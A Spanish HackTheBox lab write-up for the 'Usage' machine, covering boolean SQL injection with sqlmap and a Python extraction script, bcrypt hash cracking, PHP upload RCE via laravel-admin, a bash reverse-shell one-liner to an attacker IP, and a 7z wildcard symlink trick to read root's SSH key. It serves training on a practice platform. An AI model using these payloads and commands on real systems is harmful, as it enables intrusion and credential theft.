Post

Usage

Writeup de la máquina Usage de Hackthebox.

Usage

Resumen de la resolución

Usage es una máquina Linux de dificultad Easy de la plataforma de HackTheBox, en ella conseguiremos ganar acceso al panel de administración ubicado en admin.usage.htb gracias a una inyección SQL basada en booleanos, la cual explotaremos de manera automatizada con sqlmap y de manera manual con un script en python. Una vez en el panel de administración conseguiremos tener ejecución remota de comandos (RCE) gracias a la subida de un fichero malicioso. Tras ganar acceso a la máquina víctima, migraremos al usuario xander gracias a un information leakeage. Finalmente, el usuario xander es capaz de ejecutar un binario como root gracias al permiso de sudoers, dicho binario lo analizaremos con ghidra y veremos el uso de una wildcard en 7z, gracias a esto podemos leer archivos internos del sistema, por lo que nos aprovecharemos para leer la id_rsa del root.


Enumeración

En primer lugar, debemos desplegar la máquina para poder obtener la Dirección IP todo ello desde la web de HackTheBox y luego desde la terminal debemos conectarnos a la VPN usando el fichero correspondiente de la siguiente forma:

1
openvpn lab_trr0r.opvn

Después le lanzaremos un ping para ver si se encuentra activa dicha máquina, además de ver si acepta la traza ICM. Comprobamos que efectivamente nos devuelve el paquete que le enviamos por lo que acepta la traza ICMP, gracias al ttl podremos saber si se trata de una máquina Linux (TTL 64 ) y Windows (TTL 128), y vemos que se trata de una máquina Linux pues cuenta con TTL próximo a 64 (63), además gracias al script **whichSystem.py** podremos conocer dicha información.

El motivo por el cual el TTL es de 63 es porque el paquete pasa por unos intermediarios (routers) antes de llegar a su destino (máquina atacante). Esto podemos comprobarlo con el comando ping -c 1 -R 10.10.11.18.

Nmap

En segundo lugar, realizaremos un escaneo por TCP usando Nmap para ver que puertos de la máquina víctima se encuentra abiertos.

1
nmap -p- --open --min-rate 5000 -sS -v -Pn -n 10.10.11.18 -oG allPorts

Observamos como nos reporta que se encuentran abiertos el puerto 22 y 80.

Ahora, gracias a la utilidad getPorts definida en nuestra .zshrc podremos copiarnos cómodamente todos los puerto abiertos de la máquina víctima a nuestra clipboard.

A continuación, volveremos a realizar un escaneo con Nmap, pero esta vez se trata de un escaneo más exhaustivo pues lanzaremos unos script básicos de reconocimiento, además de que nos intente reportar la versión y servicio que corre para cada puerto.

1
nmap -p22,80 -sCV 10.10.11.18 -oN targeted

En el segundo escaneo de Nmap lo que más nos llamará la atención es la existencia del dominio usage.htb.

___

Puerto 80 - HTTP (Nginx)

Para poder acceder a la página web hemos de aplicar Virtual Hosting para ello añadiremos la siguiente línea 10.10.11.18 usage.htb al /etc/hosts. Comprobaremos que ahora somos capaces de ver la página web. Posteriormente, nos registraremos para poder logearnos.

Una vez logeados observaremos un mensaje exitoso y nueva página en la que no vemos nada interesante.

En la botonera de la parte superior derecha veremos que el botón de Admin nos lleva al dominio admin.usage.htb.

Volveremos a aplicar Virtual Hosting, para ello actualizaremos la línea ya presente en el /etc/hosts a 10.10.11.18 usage.htb admin.usage.htb.

Al acceder al nuevo dominio (admin.usage.htb) veremos un panel de login en el que no podemos hacer nada interesante.

Tras navegador un buen rato por lo diferentes dominios nos percataremos que la página web principal (usage.htb) cuenta con una funcionalidad a través de la cual podemos restablecer nuestra contraseña.

Si ponemos un email válido veremos como nos aparece un mensaje exitoso.

En el caso de que el email introducido no exista nos aparecerá un mensaje de error, por lo que tenemos una forma potencial de enumerar correos electrónicos.


Explotación

Boolean Inyección SQL

Al igual que en cualquier campo de entrada de datos probaremos si es vulnerable a una SQL Injection, en definitiva introduciremos el siguiente payload.

1
test' or 1=1-- -

Veremos que al introducir el anterior payload nos aparecerá un mensaje exitoso, es decir igual que cuando un email es válido.

A continuación, introduciremos el siguiente payload el cual nos ayudará a comprobar que es vulnerable a una SQL Injection.

1
test' or 1=2-- -

Tal y como se aprecia en la siguiente captura nos aparecerá un mensaje de error, por lo que todo apunta a que es vulnerable a una Inyección SQL basada en booleanos.

Si al introducir el siguiente payload la página se queda cargando durante 5 segundos podemos corroborar que es vulnerable a una SQL Injection.

1
test' or sleep(5)-- -

Tal y como observamos nos saltará un error el cual nos hará pensar que existe una validación para que no se introduzca la palabra sleep.

Destacar que existen diferentes formas de bypassear esta sanitización, pero como ya hemos descubierto que es vulnerable a una Inyección SQL basada en booleanos no perderemos tiempo en intentarlo.

Capturaremos la petición usando FoxyProxy y BurpSuite, y la mandaremos al Intruder para intentar descubrir la letra inicial de la actual base de datos, todo ello gracias a un ataque de fuerza bruta (Sniper), en definitiva usaremos el siguiente payload.

1
test'+or+substring((select+database()),1,1)='§u§'--+-

Gracias a la siguiente instrucción generaremos un fichero que contendrá todos los caracteres de la a a la z,

1
python3 -c 'import string; [print(char) for char in string.ascii_lowercase]'  > chars.txt

Haciendo click sobre Load seleccionaremos el fichero que contiene todas las letras.

A continuación, añadiremos una expresión regular para que filtré por lo que queremos buscar, en definitiva será por We have e-mailed your password.

En primera instancia nos daremos cuenta que al realizar el ataque nos devuelve un código de estado 302, es decir una redirección. Para evitar esto y que nos redireccione automáticamente seleccionaremos la opción Always en el apartado Redirections.

Una vez que tenemos todo configurado le daremos a Start Attack, tras un rato esperando nos daremos cuenta que para la letra u nos aparecerá el mensaje exitoso (We have e-mailed your password), por lo que ya sabemos por la letra inicial de la actual base de datos.

Automated - SQLMap

En primer lugar, estaremos dumpeando la información de la base de datos de manera automatizada gracias a SQLMap.

Bases de datos

Guardaremos en un fichero la petición vulnerable a la Inyección SQL basada en booleanos, y a continuación usaremos el siguiente comando para sacar todas las bases de datos.

Para que nos muestre los datos hemos de usar la opción --no-cast.

1
sqlmap -r req.req -p "email" --dbs --batch --no-cast

Entre todas las bases de datos que nos reporta nos llamará la atención usage_blog.

Tables de la base de datos usage_blog

Mostraremos todas las tablas de la base de datos usage_blog gracias al siguiente comando.

1
sqlmap -r req.req -p "email" -D usage_blog --tables --batch --no-cast

Nos llamará la atención la tabla admin_users.

Columnas de la tabla admin_users

Gracias a la siguiente instrucción mostraremos las columnas de la tabla admin_users.

1
sqlmap -r req.req -p "email" -D usage_blog -T admin_users --columns --batch --no-cast

Nos quedaremos con la columna password y username.

Información de la tabla admin_users

Finalmente, dumpearemos la información de la tabla admin_users gracias al siguiente comando.

1
sqlmap -r req.req -p "email" -D usage_blog -T admin_users -C username,password --dump --batch --no-cast

Tal y como vemos a continuación veremos un hash correspondiente al usuario admin: Cracking admin password.

Manual - Python Script

Gracias al siguiente script seremos capaces de dumpear toda la información de la base de datos, es decir obtener el hash del usuario admin: Cracking admin password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3

import requests,string
from pwn import *

characters = string.ascii_lowercase + string.ascii_uppercase + string.digits + "-_:,$.@/~1&*"

main_url = "http://usage.htb/forget-password"

# Establecer las cookies según las dadas por las web
cookies = {
    'laravel_session' : '',
    'XSRF-TOKEN' : ''
}

def makeSQLI():

    cadena = ""
    p1 = log.progress("SQLI")
    p1.status("Fuerza bruta")
    p2 = log.progress("Información extraída")
    
    for position in range(1, 100):
        for character in characters:
        
            data = {
                '_token' : '', # Establecer _token en función de la página web
				# Estaremos usando la función BINARY() para que sea case sensitive, algo a tener en cuenta cuando estamos dumpeando contraseñas.
                'email' : f"test' or substring((select group_concat(BINARY (username),0x3a,BINARY(password)) from admin_users),{position},1)='{character}'-- -"
            }
            
            r = requests.post(main_url, data=data, cookies=cookies)
            p1.status(data["email"])
            
            if not "Email address does not match in our records!" in r.text:
                cadena += character
                p2.status(cadena)
                break


if __name__ == '__main__':
	makeSQLI()

Cracking admin password

johntheripper

Guardaremos en un fichero el hash y gracias a johntheripper lo intentaremos crackear.

1
john hash --wordlist=/usr/share/wordlists/rockyou.txt

Tras 24 segundos conseguiremos crackear el hash, por lo que tendremos las siguientes credenciales admin:whatever1.

hashcat

Una forma más manual de crackear el hash es usando hashcat.

En primer lugar debemos de descubrir el tipo de hash ($2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2), para ello aplicaremos una expresión regular gracias a la siguiente instrucción.

1
hashcat --example-hashes | grep -G '$2.*\$[0-9][0-9]\$' -B 11

Observaremos que el modo del hash es 3200 (bcrypt)

Ejecutaremos el siguiente comando indicando el modo de hash (3200).

1
hashcat -a 0 -m 3200 hash /usr/share/wordlists/rockyou.txt

De igual forma conseguiremos crackear el hash.

CVE-2023-24249 | RCE

En primer instancia probaremos a autenticarnos por ssh con las credenciales encontramos pero no tendremos éxito. A continuación, nos dirigiremos al panel de login del dominio admin.usage.htb, y conseguiremos autenticarnos correctamente con las credenciales encontradas (admin:whatever1).

Lo primero que nos llamará la atención del panel de administración es la versión de laravel-admin (1.8.18).

Tras buscar en internet por exploits para dicha versión del laravel-admin nos encontraremos que es vulnerable a un RCE, aquí esta el POC](https://flyd.uk/post/cve-2023-24249/). Básicamente para conseguir la ejecución remota de comandos hemos de subir un fichero malicioso ([cmd.php) como foto de perfil.

Gracias a FoxyProxy y BurpSuite interceptaremos la petición de subir una nueva imagen de perfil.

Enviaremos dicha petición al Repeater, cambiaremos la extensión a .php y sustituiremos el contenido por el de cmd.php.

Enviaremos la petición con CTRL + Espace, y al dirigirnos a la página web veremos que se ha subido correctamente nuestro cmd.php, para saber donde se ha almacenado debemos de hacer hover sobre el botón indicado.

Tras dirigirnos a la ruta indicada conseguiremos tener ejecución remota de comandos (RCE) en la máquina víctima como el usuario dash.

Destacar que el fichero se elimina cada pocos minutos por lo que debemos de darnos prisa para enviarnos una Reverse Shell.

A continuación, lo que haremos será ponernos en escucha con NetCat (nc -nlvp 443) y enviarnos una Reverse Shell gracias al típico one liner de bash (`bash -c “bash -i >%26 /dev/tcp/10.10.16.2/443 0>%261”).

Observaremos que recibimos correctamente la Reverse Shell.

___

Movimiento lateral de usuario a xander

Enumeración local

Tras ganar acceso la máquina víctima como el usuario dash realizaremos un Tratamiento de la TTY para operar más cómodamente.

Tal y como vemos a continuación existe un usuario adicional (xander).

En nuestra home nos encontramos con unos ficheros inusuales.

Information Leakage

Al mirar el contenido de dichos ficheros seremos capaces de ver una contraseña.

Usaremos dicha contraseña para autenticarnos como el usuario xander y conseguiremos acceder correctamente.


Escalada de privilegios

Enumeración local

Realizaremos una enumeración simple y nos daremos cuenta que tenemos asignado un permiso de Sudoers, a través del cual podemos ejecutar el binario (/usr/bin/usage_management) como cualquier usuario sin necesidad de proporcionar contraseña.

Como era de esperar se trata de un fichero ejecutable, además no tenemos capacidad de escritura en él por lo que no podremos cambiar su contenido.

/usr/bin/usage_management

Al ejecutar dicho binario veremos que podemos seleccionar diferentes opciones (1, 2, 3).

Al seleccionar la primera opción veremos que comprime un directorio y lo guarda en /var/backups/project.zip usando 7z.

Con la segunda opción (2) no seremos capaces de ver ningún output, pero supuestamente está realizando una copia de la información almacenada en MySQL.

Con la tercera (3) y última opción supuestamente estaremos reseteando la contraseña del admin.

Gracias al siguiente comando seremos capaces de ver las cadenas de texto imprimibles del binario /usr/bin/usage_management.

1
strings /usr/bin/usage_management

Veremos un montón de información pero nos llamará la atención la wildcard (*) usada en comando 7z y la ruta /var/www/html.

Nos Transferiremos el binario a nuestra máquina atacante y lo analizaremos con ghidra.

En la función main() veremos que para cada opción se está llamando a una función.

Al ver el contenido de la función backupWebContent() podemos ver que se cambia el directorio /var/www/html y gracias al uso de la wildcard (*) comprime todo lo que hay usando 7z.

Si nos dirigimos a la siguiente página web HackTricks - Wildcard 7z veremos como podemos abusar de está wildcard para leer archivos internos del sistema.

En primer lugar comprobaremos que tenemos permisos de escritura en el directorio /var/www/html.

Tras verificar que tenemos permisos de escritura sobre dicho directorio (/var/ww/html), ejecutaremos los siguiente comandos.

1
2
touch @root.txt # Crearemos el fichero @root.txt
ln -s /root/root.txt root.txt # Realizaremos un link simbólico al fichero que queremos leer.

Ejecutaremos de nuevo el script (/usr/bin/usage_management), seleccionaremos la primera opción y veremos que somos capaces de ver el contenido del root.txt.

En este punto lo que haremos será intentar leer el contenido de la id_rsa del usuario root, para ello ejecutaremos las siguientes instrucciones situados en /var/www/html.

1
2
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa

Al ejecutar de nuevo el binario (/usr/bin/usage_management) seremos capaces de ver el contenido de la id_rsa del root.

Tras guardar el contenido en un fichero lo abriremos con nvim y ejecutaremos el siguiente comando para eliminar las palabras ` : No More files`.

1
:%s/ :.*//

Gracias al siguiente comando nos conectaremos como el usuario root usando la id_rsa.

1
ssh -i id_rsa.root root@10.10.11.18

Finalmente, conseguiremos ganar acceso a la máquina víctima como el usuario root.

This post is licensed under CC BY 4.0 by the author.